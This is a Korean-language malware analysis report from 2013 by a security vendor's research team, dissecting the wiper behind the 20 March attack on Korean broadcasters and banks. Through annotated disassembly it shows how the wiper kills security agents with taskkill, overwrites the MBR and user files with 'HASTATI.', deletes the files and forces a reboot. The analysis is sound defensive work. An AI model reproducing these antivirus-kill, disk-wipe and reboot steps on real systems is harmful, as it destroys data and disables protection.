3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15
Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다. 이와같은전산망장애를유발한악성코드를수집하여분석하였다. 분석결과피해시스템에설치된악성코드크게다음과같은기능을포함하고있다. 악성코드설치시스템시간확인 APC(Ahnlab Policy Center) Agent 프로세스강제종료 바이로봇 ISMS 프로세스강제종료 피해시스템파일파괴 시스템부트로드파괴 시스템재부팅 악성코드는위와같은기능을통해일정시간 (2013년 3월 20일 14시 00분 ) 이되면프로세스를종료하고시스템의부팅영역과파일을파괴한다. 이와같은행위가끝나면악성코드는강제로시스템을재부팅하는코드를실행한다. 하지만악성코드가이미시스템부팅에필요한주요영역을파괴했기때문에시스템이정상적으로사용할수없는상태가된다. 본문서는앞서언급한악성코드에대한정적 & 동적분석결과를담고있으며이번사이버테러에해당하는전체악성코드에대한분석보고서는아님을미리밝혀둔다. 페이지 : 2/15
General Infromation 1. AmAgent.exe File Name File Size MD5 Created AmAgent.exe 24576 Bytes 5fcd6e1dace6b0599429d913850f0364 2013.03.20 1:39 PM 2. ApcRunCmd.exe File Name ApcRunCmd.exe File Size 24576 Bytes MD5 db4bbdc36a78a8807ad9b15a562515c4 Created - 페이지 : 3/15
Time Calculation & Comparison 악성코드는 GetLocalTime 함수를호출하여현재날짜와시간을구하고주어진연산을수행한다. 연산의결과를비교하여 2013년 3월 20일 14시 00분이후에는 MBR 영역을덮어쓰는코드를실행한다. 그리고 2013년 3월 20일 14시 00분이전에는 Sleep 함수를호출하여대기한다. Step1. GetLocalTime(EAX) GetLocalTime() 함수를호출하여현재시간정보를구한다. 004011C7 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 004011CA 50 004011CB FF96 30030000 CALL DWORD PTR DS:[ESI+330] ; kernel32.getlocaltime Step2. Time Calculation & Comparison EDX = Min + 100 * (Hour + 100 * (Day + 100 * (Month + Year % 100 * 100))) EDI = 0 + 100 * (14 + 100 * (20 + 100 * (3 + 2013 % 100 * 100))) = 0x4DAD4678 004011ED 0FB745 F0 MOVZX EAX,WORD PTR SS:[EBP-10] ; EAX = Year 004011F1 99 CDQ 004011F2 6A 64 PUSH 64 ; 0x64 = 100 004011F4 59 POP ECX ; ECX = 100 004011F5 F7F9 IDIV ECX ; %100 004011F7 0FB745 F2 MOVZX EAX,WORD PTR SS:[EBP-E] ; EAX = Month 004011FB 6BD2 64 IMUL EDX,EDX,64 ; * 100 004011FE 03D0 ADD EDX,EAX; 00401200 0FB745 F6 MOVZX EAX,WORD PTR SS:[EBP-A] ; EAX = Day 00401204 6BD2 64 IMUL EDX,EDX,64 ; * 100 00401207 03D0 ADD EDX,EAX 00401209 0FB745 F8 MOVZX EAX,WORD PTR SS:[EBP-8] ; EAX = Hour 0040120D 6BD2 64 IMUL EDX,EDX,64 ; * 100 00401210 03D0 ADD EDX,EAX 00401212 0FB745 FA MOVZX EAX,WORD PTR SS:[EBP-6] ; EAX = Min 00401216 6BD2 64 IMUL EDX,EDX,64 ; * 100 00401219 03D0 ADD EDX,EAX 0040121B 3BD7 CMP EDX,EDI 0040121D 7C B9 JL SHORT AmAgent.004011D8 페이지 : 4/15
Process Kill taskkill /F /IM pasvc.exe 와 taskkill /F /IM Clisvc.exe 를인자로받아 WinExec 호출하여 pasvc.exe와 Clisvc.exe 프로세스를 Kill한다. Step1. WinExec( taskkill /F /IM pasvc.exe, 0) taskkill 명령을통해 pasvc.exe 프로세스를강제로종료한다. 이때 /F 옵션은프로세스를강제 로종료하라는것을의미하며 /IM 은종료할프로세스의이미지를지정하는옵션이다. taskkill 명 령을통해종료하는 pasvc.exe 프로세스는 AhnLab Policy Agent를의미한다. 00402162 6A 00 PUSH 0 00402164 8D86 18050000 LEA EAX,DWORD PTR DS:[ESI+518] 0040216A 8DBE 94030000 LEA EDI,DWORD PTR DS:[ESI+394] 00402170 50 ; taskkill /F /IM pasvc.exe 00402171 FF17 CALL DWORD PTR DS:[EDI] ; kernel32.winexec Step2. WinExec( taskkill /F /IM Clisvc.exe, 0) taskkill 명령을통해 Clisvc.exe 프로세스를강제로종료한다. 종료하는 Clisvc.exe는 Hauri의 ViRoboot ISMS를의미한다. 00402173 6A 00 PUSH 0 00402175 81C6 32050000 ADD ESI,532 0040217B 56 PUSH ESI ; taskkill /F /IM Clisvc.exe 0040217C FF17 CALL DWORD PTR DS:[EDI] ; kernel32.winexec 페이지 : 5/15
MBR Overwrite 악성코드는 2013년 3월 20일 14시 00분이후에는 MBR 영역을 HASTATI. 이라는문자가반복되는문자열을생성하고 MBR 영역을덮어쓴다. 이로인해 MBR 영역이파괴되고이후재부팅하는코드실행으로인해시스템은정상적으로부팅할수없게된다. Step1. CreateFileA( \\.\PhysicalDrive0, 0xC0000000, 3, NULL, 3, 0, NULL) MBR 영역으로의접근을위해 \\.\PhysicalDrive0 를인자로 CreateFileA() 함수를호출한다. 00401DE2 57 PUSH EDI 00401DE3 57 PUSH EDI 00401DE4 6A 03 PUSH 3 00401DE6 57 PUSH EDI 00401DE7 6A 03 PUSH 3 00401DE9 68 000000C0 PUSH C0000000 00401DEE 8D85 F8FEFFFF LEA EAX,DWORD PTR SS:[EBP-108] 00401DF4 50 ; \\.\PhysicalDrive0 00401DF5 FF96 70030000 CALL DWORD PTR DS:[ESI+370] ; kernel32.createfilea Step2. memcpy(eax, eax, strlen(eax)) memcpy() 함수를호출하여 HASTATI. 문자열 * 60 복사 (0x1E0 size) 을메모리에복사한다. 00402073 5B POP EBX ; 0x3C 00402074 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 00402077 50 00402078 FF96 AC030000 CALL DWORD PTR DS:[ESI+3AC] ; msvcrt.strlen 0040207E 50 0040207F 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 00402082 50 00402083 8D843D F4FDFF LEA EAX,DWORD PTR SS:[EBP+EDI-20C] 0040208A 50 0040208B FF96 A8030000 CALL DWORD PTR DS:[ESI+3A8] ; msvcrt.memcpy 00402091 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 00402094 50 00402095 FF96 AC030000 CALL DWORD PTR DS:[ESI+3AC] ; msvcrt.strlen 0040209B 83C4 14 ADD ESP,14 0040209E 03F8 ADD EDI,EAX 페이지 : 6/15
004020A0 4B 004020A1 75 D1 DEC EBX JNZ SHORT AmAgent.00402074 Step3. WriteFile(Handle, HASTATI. * 60, 0x200, EAX, NULL) SetFilePointer() 함수를호출하여 PhysicalDrive0의 0번째주소로이동하여 MBR 영역을가리키도 록한다. 그리고 WriteFile() 를호출하여 MBR 영역을 HASTATI. 라는문자열로덮어쓴다. 004020E2 FF97 80030000 CALL DWORD PTR DS:[EDI+380] ; kernel32.setfilepointer 004020E8 3BC6 CMP EAX,ESI 004020EA 74 04 JE SHORT AmAgent.004020F0 004020EC 33C0 XOR EAX,EAX 004020EE EB 1D JMP SHORT AmAgent.0040210D 004020F0 6A 00 PUSH 0 004020F2 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 004020F5 50 004020F6 68 00020000 PUSH 200 004020FB FF75 10 PUSH DWORD PTR SS:[EBP+10] ; HASTATI.HASTATI... 004020FE FF77 40 PUSH DWORD PTR DS:[EDI+40] ; 0x38 00402101 FF97 74030000 CALL DWORD PTR DS:[EDI+374] ; kernel32.writefile 페이지 : 7/15
Shutdown 악성코드는 MBR 영역을덮어쓰고최종적으로시스템을 Shutdown 시키는코드를수행한다. Step1. Sleep(300000) Shutdown 코드를실행하기이전에 Sleep 함수를호출하며이때, Sleep 함수의인자로 0x493E0(300000 Milliseconds) 를전달함으로써 PC 재부팅이전에잠시대기한다. 00401344 68 E0930400 PUSH 493E0 00401349 FF96 34030000 CALL DWORD PTR DS:[ESI+334] ; kernel32.sleep 0040134F 56 PUSH ESI 00401350 FF96 B0020000 CALL DWORD PTR DS:[ESI+2B0] ; Call step2 Step2. WinExec( shutdown r t 0, 0) WinExec 함수에 shutdown r t 0 을인자로넘겨악성코드에감염된 PC를재부팅한다. 이때 shutdown 명령어의인자로전달하는 r 옵션이 PC의재부팅을의미한다 00402145 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402149 6A 00 PUSH 0 0040214B 8D88 07050000 LEA ECX,DWORD PTR DS:[EAX+507] ; "shutdown -r -t 0" 00402151 51 PUSH ECX 00402152 FF90 94030000 CALL DWORD PTR DS:[EAX+394] ; kernel32.winexec 00402158 33C0 XOR EAX,EAX 0040215A 40 INC EAX 0040215B C3 RETN 페이지 : 8/15
File Overwrite 악성코드는 B:\ 드라이브부터순차적으로드라이브의타입을확인한다. 드라이브타입이 DRIVE_REMOVABLE 또는 DRIVE_FIXED일경우하위디렉토리를검색하고각파일의경로를추출한다. 추출한경로가시스템디렉토리, Program Files, ProgramData 인지확인한다. 이와같은경로에해당하지않는경우파일의일부분을 HASTATI. 라는문자열로덮어쓴다. 파일각각에대해덮어쓰는과정이끝나면파일을삭제한다. Step1. GetDriveType(EAX = DrivePathName) GetDriveType() 함수를호출할때, Root 디렉토리경로를인자로전달하여해당드라이브의타입 을판별한다. 드라이브의타입은 GetDriveType() 함수리턴값으로확인할수있으며리턴값의 범위는 0x00 ~ 0x06까지이다. 함수를호출할때, 인자로전달하는 Root 디렉토리경로는 B:\ 를 시작으로문자 B 에해당하는 ASCII Code 값을순차적으로증가시키면서 B(0x42):\ -> C(0x43):\ 순서로 GetDriveType() 함수의인자로전달한다. 0040137C 8D86 B504 LEA EAX,DWORD PTR DS:[ESI+4B5] 00401382 50 ; EAX = "B:\" 00401383 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401386 50 00401387 FF96 A403 CALL DWORD PTR DS:[ESI+3A4] ; msvcrt.strcpy("b:\", 0060FF80) 0040138D BF 040100 MOV EDI,104 00401392 57 PUSH EDI ; EDI = 0x104 00401393 8D85 ECFD LEA EAX,DWORD PTR SS:[EBP-214] 00401399 6A 00 PUSH 0 0040139B 50 0040139C FF96 A003 CALL DWORD PTR DS:[ESI+3A0] ; msvcrt.memset(0060fd74, 0) 004013A2 33DB XOR EBX,EBX 004013A4 83C4 20 ADD ESP,20 004013A7 43 INC EBX 004013A8 895E 0C MOV DWORD PTR DS:[ESI+C],EBX 004013AB 895D 08 MOV DWORD PTR SS:[EBP+8],EBX 004013AE E9 2B0100 JMP AmAgent.004014DE 004013B3 837D 08 1 CMP DWORD PTR SS:[EBP+8],19 004013B7 0F8D 3001 JGE AmAgent.004014ED 004013BD 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 004013C0 50 ; EAX = Drive Path Name 페이지 : 9/15
004013C1 FF96 5403 CALL DWORD PTR DS:[ESI+354] ; kernel32.getdrivetypea() Step2. Drive Type Comparison GetDriveTypeA() 함수의호출결과 0x3(DRIVE_FIXED) 인지 0x2(DRIVE_REMOVABLE) 인지비교한다. 004013C7 83F8 03 CMP EAX,3 ; IF EAX = DRIVE_FIXED 004013CA 74 09 JE SHORT AmAgent.004013D5 004013CC 83F8 02 CMP EAX,2 ; IF EAX = DRIVE_REMOVABLE 004013CF 0F85 0301 JNZ AmAgent.004014D8 Step3. IF Not DRIVE_FIXED or Not DRIVE_REMOVABLE, Next Drive Path Name 드라이브타입이 DRIVE_FIXED 또는 DRIVE_REMOVABLE이아닌경우다음드라이브의타입확인 을위해 B:\ 중, B 의 ASCII 값을증가시킨다. 004014D8 FE45 F8 INC BYTE PTR SS:[EBP-8] Next Drive(Ex. "B:\"->"C:\") 004014DB FF45 08 INC DWORD PTR SS:[EBP+8] 004014DE 0FBE45 F8 MOVSX EAX,BYTE PTR SS:[EBP-8] 004014E2 3D 413578 CMP EAX,30783541 ; EAX = Drive Character 004014E7^ 0F8C C6FE JL AmAgent.004013B3 Step4. kernel32.findfirstfilea( C:\*.*, 0x0060FBFC) - File Search FindFirstFileA() 함수호출을통해드라이브내에있는파일을검색한다. 이때 FindFirstFileA() 함수 의인자로 C:\*.* 를전달함으로써 C:\ 아래에있는모든파일을검색하도록한다. 00401695 FF75 0C PUSH DWORD PTR SS:[EBP+C] ; push "C:\" 00401698 8D86 BE04 LEA EAX,DWORD PTR DS:[ESI+4BE] 0040169E 50 ; EAX = "%s*.*" 0040169F 8D85 94F7 LEA EAX,DWORD PTR SS:[EBP-86C] 004016A5 50 ; EAX = 0x00x0F4D8 004016A6 FF96 B403 CALL DWORD PTR DS:[ESI+3B4] ; msvcrt.sprintf(0x0060f4d8, "%s*.*", "C:\") 004016AC 83C4 0C ADD ESP,0C 004016AF 8D85 B8FE LEA EAX,DWORD PTR SS:[EBP-148] 004016B5 50 004016B6 8D85 94F7 LEA EAX,DWORD PTR SS:[EBP-86C] 004016BC 50 004016BD 5C03 CALL DWORD PTR DS:[ESI+35C] ; kernel32.findfirstfilea("c:\*.*", 0x0060FBFC) Step5. Path String Generation1 페이지 : 10/15
파일검색과정에서파일의경로의비교를위해필요한문자열을생성한다. 00401732 68 090200 PUSH 209 00401737 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 0040173D 6A 00 PUSH 0 0040173F 50 00401740 FF96 A003 CALL DWORD PTR DS:[ESI+3A0] 00401746 FF75 0C PUSH DWORD PTR SS:[EBP+C] ; push "C:\" 00401749 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 0040174F 50 ; EAX = 0x0060F6E4 00401750 FF96 A403 CALL DWORD PTR DS:[ESI+3A4] ; msvcrt.strcpy(0x0060f6e4, "C:\") 00401756 8D85 E4FE LEA EAX,DWORD PTR SS:[EBP-11C] 0040175C 50 ; EAX = Path 0040175D 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 00401763 50 ; EAX = "C:\" 00401764 FF96 B003 CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.strcat("c:\", Path) 0040176A 8D9E B904 LEA EBX,DWORD PTR DS:[ESI+4B9] 00401770 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 00401776 53 PUSH EBX ; EBX = "\" 00401777 50 ; EAX = "C:\" + Path 00401778 FF96 B003 CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.strcat("\", Path) Step6. Path String Generation2 또한검색하고있는경로가시스템경로인지또는 Program Files, ProgramData 인지비교하기 위해필요한문자열을생성한다. C:\Windows C:\Program Files C:\ProgramData 004017BF 8D85 B4FD LEA EAX,DWORD PTR SS:[EBP-24C] 004017C5 50 004017C6 FF96 6003 CALL DWORD PTR DS:[ESI+360] ; kernel32.getwindowsdirectorya(0x0060faf8, 0x104) 004017CC 8D85 B4FD LEA EAX,DWORD PTR SS:[EBP-24C] 004017D2 53 PUSH EBX ; EBX = "\" 004017D3 50 ; EAX = "C:\Windows" 004017D4 FF96 B003> CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.stract("c:\windows", "\") 페이지 : 11/15
004017DA 6A 03 PUSH 3 004017DC 8D85 B4FD LEA EAX,DWORD PTR SS:[EBP-24C] 004017E2 50 004017E3 8D85 B0FC LEA EAX,DWORD PTR SS:[EBP-350] 004017E9 50 004017EA FF96 A803 CALL DWORD PTR DS:[ESI+3A8] ; msvcrt.memcpy(0x0060f9f4, "C:\Windows\", 3) 004017F0 8D86 C404 LEA EAX,DWORD PTR DS:[ESI+4C4] 004017F6 50 ; EAX = "Program Files" 004017F7 8D85 B0FC LEA EAX,DWORD PTR SS:[EBP-350] 004017FD 50 ; EAX = "C:\" 004017FE FF96 B003 CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.stract("c:\", "Program Files") 00401804 8D85 B0FC LEA EAX,DWORD PTR SS:[EBP-350] 0040180A 53 PUSH EBX ; EBX = "\" 0040180B 50 ; EAX = "C:\Program Files" 0040180C FF96 B003 CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.stract("c:\program Files", "\") 00401812 6A 03 PUSH 3 00401814 8D85 B4FD LEA EAX,DWORD PTR SS:[EBP-24C] 0040181A 50 ; EAX = "C:\Windows" 0040181B 8D85 ACFB LEA EAX,DWORD PTR SS:[EBP-454] 00401821 50 ; EAX = 0x0060F8F0 00401822 FF96 A803 CALL DWORD PTR DS:[ESI+3A8] ; msvcrt.memcpy(0x0060f8f0, "C:\Window", 3) 00401828 8D86 D204 LEA EAX,DWORD PTR DS:[ESI+4D2] 0040182E 50 ; EAX = "ProgramData" 0040182F 8D85 ACFB LEA EAX,DWORD PTR SS:[EBP-454] 00401835 50 ; EAX = "C:\" 00401836 FF96 B003 CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.stract("c:\", "ProgramData") 0040183C 8D85 ACFB LEA EAX,DWORD PTR SS:[EBP-454] 00401842 53 PUSH EBX ; EBX = "\" 00401843 50 ; EAX = "C:\ProgramData" 00401844 FF96 B003 CALL DWORD PTR DS:[ESI+3B0] ; msvcrt.stract("c:\programdtata", "\") Step7. Path Comparison 앞서생성한경로들을 strcmp 함수를통해비교한다. 페이지 : 12/15
0040184D 8D85 B4FD LEA EAX,DWORD PTR SS:[EBP-24C] 00401853 50 ; EAX = "C:\Windows\" 00401854 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 0040185A 50 ; EAX = Path 0040185B FF96 B803 CALL DWORD PTR DS:[ESI+3B8] ; msvcrt.strcmp("c:\windows\", Path) 00401861 59 POP ECX 00401862 59 POP ECX 00401863 85C0 TEST EAX,EAX 00401865 0F84 F200 JE AmAgent.0040195D 0040186B 8D85 B0FC LEA EAX,DWORD PTR SS:[EBP-350] 00401871 50 ; EAX = "C:\Program Files\" 00401872 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 00401878 50 ; EAX = Path 00401879 FF96 B803 CALL DWORD PTR DS:[ESI+3B8] ; msvcrt.strcmp("c:\program Files", Path) 0040187F 59 POP ECX 00401880 59 POP ECX 00401881 85C0 TEST EAX,EAX 00401883 0F84 D400 JE AmAgent.0040195D 00401889 8D85 ACFB LEA EAX,DWORD PTR SS:[EBP-454] 0040188F 50 ; EAX = "C:\ProgramData" 00401890 8D85 A0F9 LEA EAX,DWORD PTR SS:[EBP-660] 00401896 50 ; EAX = Path 00401897 FF96 B803 CALL DWORD PTR DS:[ESI+3B8] ; msvcrt.strcmp("c:\programdata", Path) Step8. FileOpen FindFirstFileA(), FindNextFileA() 함수호출을통해얻은파일이름을 CreateFile() 함수에인자로전달하여파일의 Handle을구한다. 이때, CreateFile() 함수에전달하는인자중 0xC0000000는 Read 와 Write가가능한상태로파일을오픈하는것을의미한다. 0xC0000000 : Generic read and generic write 3 : FILE_SHARE_READ, FILE_SHARE_WRITE lpsecurityattributes = 0 : NULL dwcreationdisposition = 3 : OPEN_EXISTING dwflagsandattributes = 0 : 0x0 htemplatefile = 0 : NULL 페이지 : 13/15
004019AF FF75 10 PUSH DWORD PTR SS:[EBP+10] ; push Filename 004019B2 8D86 DE04 LEA EAX,DWORD PTR DS:[ESI+4DE] 004019B8 FF75 0C PUSH DWORD PTR SS:[EBP+C] ; push Path 004019BB 50 ; EAX = "%s%s" 004019BC 8D85 ECFD LEA EAX,DWORD PTR SS:[EBP-214] 004019C2 50 004019C3 FF96 B403 CALL DWORD PTR DS:[ESI+3B4] ; msvcrt.sprintf(0x0060e184, %s%s, Path, Name) 004019C9 83C4 1C ADD ESP,1C 004019CC 53 PUSH EBX ; EBX = 0 004019CD 53 PUSH EBX 004019CE 6A 03 PUSH 3 004019D0 53 PUSH EBX 004019D1 6A 03 PUSH 3 004019D3 68 000000 PUSH C0000000 004019D8 8D85 ECFD LEA EAX,DWORD PTR SS:[EBP-214] 004019DE 50 004019DF FF96 7003 CALL DWORD PTR DS:[ESI+370] ; kernew32.createfilea(filepath, 0xC0000000, 3, 0, 3, 0, 0) Step9. File Overwrite CreateFileA() 함수를통해구한파일 Handle을구하고 WriteFile() 함수를호출하여 Handle에해 당하는파일에 HASTATI. 문자열을 1023 바이트만큼덮어쓴다. WriteFile() 함수를통해덮어쓰 고난후, SetFilePoint() 함수를호출하여 File Pointer를 0x18F9C = 102300 만큼이동하고다시 WriteFile() 를호출하여 HASTATI. 문자열을덮어쓰는과정을계속한다. 00401A17 53 PUSH EBX ; EBX = 0x0 00401A18 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 00401A1B 50 ; EAX = 0x0060E390 00401A1C 57 PUSH EDI ; EDI = 0x3FF = 1023 00401A1D 8D85 E0F9 LEA EAX,DWORD PTR SS:[EBP-620] 00401A23 50 ; EAX = 0x0060DD78 = "HASTATI..." 00401A24 FF75 08 PUSH DWORD PTR SS:[EBP+8] ; FileHandle 00401A27 FF96 7403 CALL DWORD PTR DS:[ESI+374] ; kernel32.writefile(filehandle, "HASTATI...", 0x3FF, 0x0060E390, 0x0)) 00401A37 6A 01 PUSH 1 00401A39 53 PUSH EBX ; EBX = 0 00401A3A 50 ; EAX = 0x00018F9C 페이지 : 14/15
00401A3B FF75 08 PUSH DWORD PTR SS:[EBP+8] ; FileHandle 00401A3E FF96 8003 CALL DWORD PTR DS:[ESI+380] ; kernel32.setfilepointer(filehandle, 0x18F9C, 0, 1) Step10. File Delete 파일을덮어쓰는과정이끝나면 DeleteFileA() 함수를호출하여해당파일을삭제한다. 00401A5B 8D85 ECFD LEA EAX,DWORD PTR SS:[EBP-214] 00401A61 50 ; EAX = FilePath 00401A62 FF96 7C03 CALL DWORD PTR DS:[ESI+37C] ; kernel32.deletefilea(filepath) 페이지 : 15/15